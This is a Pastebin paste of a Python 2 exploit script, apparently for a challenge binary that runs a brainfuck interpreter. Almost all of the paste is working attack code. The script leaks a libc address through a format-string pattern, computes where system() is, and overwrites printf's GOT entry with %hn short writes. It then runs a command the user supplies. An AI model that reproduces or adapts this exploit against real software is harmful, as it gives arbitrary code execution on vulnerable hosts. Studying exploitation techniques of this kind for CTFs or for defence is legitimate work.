Guest User

Untitled

a guest
Aug 23rd, 2014
171
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. import pexpect
  3. from struct import pack
  4. import sys
  5.  
  6. # changed the address from 0x08049a48 to 0x08059a48 since the 04 will be seen as EOT(end-of-transmission)
  7. # the brainfuck code will decrease the 05 back to 04 :)
  8. printf_GOT = 0x08059a48
  9.  
  10. # brainfuck code
  11. # read 5 bytes
  12. # rewind pointer 5 places
  13. # read formatstring pattern(35 bytes)
  14. # rewind pointer 35
  15. bf_basecode = ',>,>,>,>,>#<<<<<,>,>,->,>,>,>,->,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
  16.  
  17. # ******************************************************************************************************************************************
  18. # locates libc and returns the .got.plt and system offset(horror code....)
  19. # ******************************************************************************************************************************************
  20. def get_libc_info(binary):
  21.     libc = None
  22.     system_addr = 0
  23.     vma = 0
  24.     tl = list()
  25.     # run ldd to get the libc path
  26.     c = pexpect.spawn('ldd %s' % (binary))
  27.     lines = c.readlines()
  28.     c.close()
  29.     for line in lines:
  30.         if line.count('libc.so'):
  31.             libc = line.strip().split(' ')[2]
  32.             break
  33.     if libc:
  34.         # run objdump -T to grep the dynamic sym of system(last one in the list)
  35.         c = pexpect.spawn('objdump -T %s' % (libc))
  36.         lines = c.readlines()
  37.         c.close()
  38.         for line in lines:
  39.             if line.count('system'):
  40.                 tl.append(line.strip())
  41.         system_addr = int(tl[len(tl) - 1][:8], 16)
  42.         # run objdump -h to grab the .got.plt vma from the header info
  43.         c = pexpect.spawn('objdump -h %s' % (libc))
  44.         lines = c.readlines()
  45.         c.close()
  46.         for line in lines:
  47.             if line.count('.got.plt'):
  48.                 vma = int(line.strip().split(' ')[9], 16)
  49.                 break
  50.     else:
  51.         print '[!] Error: Failed to locate libc!'
  52.         exit()
  53.  
  54.     return system_addr, vma
  55.  
  56. # ******************************************************************************************************************************************
  57. # calc. the 2 lengths needed for the short writes
  58. # ******************************************************************************************************************************************
  59. def generate_lengths(addresss):
  60.     len_1 = ((addresss & 0xFFFF) - 8) & 0xFFFF
  61.     len_2 = ((((addresss >> 16) & 0xFFFF) - 8) - len_1) & 0xFFFF
  62.     len_total = (len_1 + len_2) & 0xFFFFFFFF
  63.     return (len_1, len_2, len_total)
  64.  
  65. # ******************************************************************************************************************************************
  66. #
  67. # ******************************************************************************************************************************************
  68. def expl0it(filename, command):
  69.     print '[+] Exploit started'
  70.     # build the brainfuck code aka append the read command code
  71.     brainfuck = bf_basecode + ''.join((',>') for i in range(len(command)+2)) + '#'
  72.     # get the libc information
  73.     system_offset, got_plt_offset = get_libc_info(filename)
  74.     print '[+] libc system offset:',hex(system_offset)
  75.     # spawn the bf process
  76.     c = pexpect.spawn('%s "%s"' % (filename, brainfuck))
  77.     # send pattern to leak the libc got.plt address
  78.     print '[+] Leaking libc baseaddress'
  79.     for b in bytearray('%9$x\n'):
  80.         c.send(chr(b))
  81.     # read the leaked libc address(.got.plt) and calc. its baseaddress
  82.     c.readline() # dummy(return the data we send, we need the next line...)
  83.     r = c.readline()
  84.     # substract the got.plt offset from the virtualaddress
  85.     libc_base = (int(r.strip(), 16) - got_plt_offset) & 0xFFFFFFFF
  86.     # calc. system virtualaddress
  87.     libc_system = (libc_base + system_offset)  
  88.     # calc. the two lengths needed for the formatstring pattern
  89.     len_1, len_2, len_total = generate_lengths(libc_system)
  90.     print '[+] libc BaseAddress:',hex(libc_base)
  91.     print '[+] libc.System:',hex(libc_system)
  92.     # some debug information....
  93.     print '[i] len_1[%d/%s], len_2[%d/%s]' % (len_1, hex(len_1), len_2, hex(len_2))
  94.     print '[+] Sending formatstring exploit'
  95.     # send the formatstring exploit pattern
  96.     for b in bytearray(pack('<L',printf_GOT) + pack('<L',printf_GOT + 2) + '%{0}c%16$hn%{1}c%17$hn'.format(str(len_1).rjust(5,'0'), str(len_2).rjust(5,'0')) + '\x00\n'):
  97.         c.send(chr(b)) 
  98.     # read the generated buffer(from the formatstring exploit)
  99.     for i in range(len_total):
  100.         c.read(1)
  101.     print '[+] Sending command'
  102.     # send the commandline string
  103.     for b in bytearray(command+'\x00\n'):
  104.         c.send(chr(b)) 
  105.     # close the process
  106.     c.close(force=True)
  107.     print '[+] Exploit Finished'
  108.  
  109. # ******************************************************************************************************************************************
  110. #
  111. # ******************************************************************************************************************************************
  112. if __name__ == '__main__':
  113.     if len(sys.argv) != 3:
  114.         print '[i] Usage: %s <filepath/to/bf> "<command_to_execute>"'
  115.         exit()
  116.     else:
  117.         expl0it(sys.argv[1], sys.argv[2])
RAW Paste Data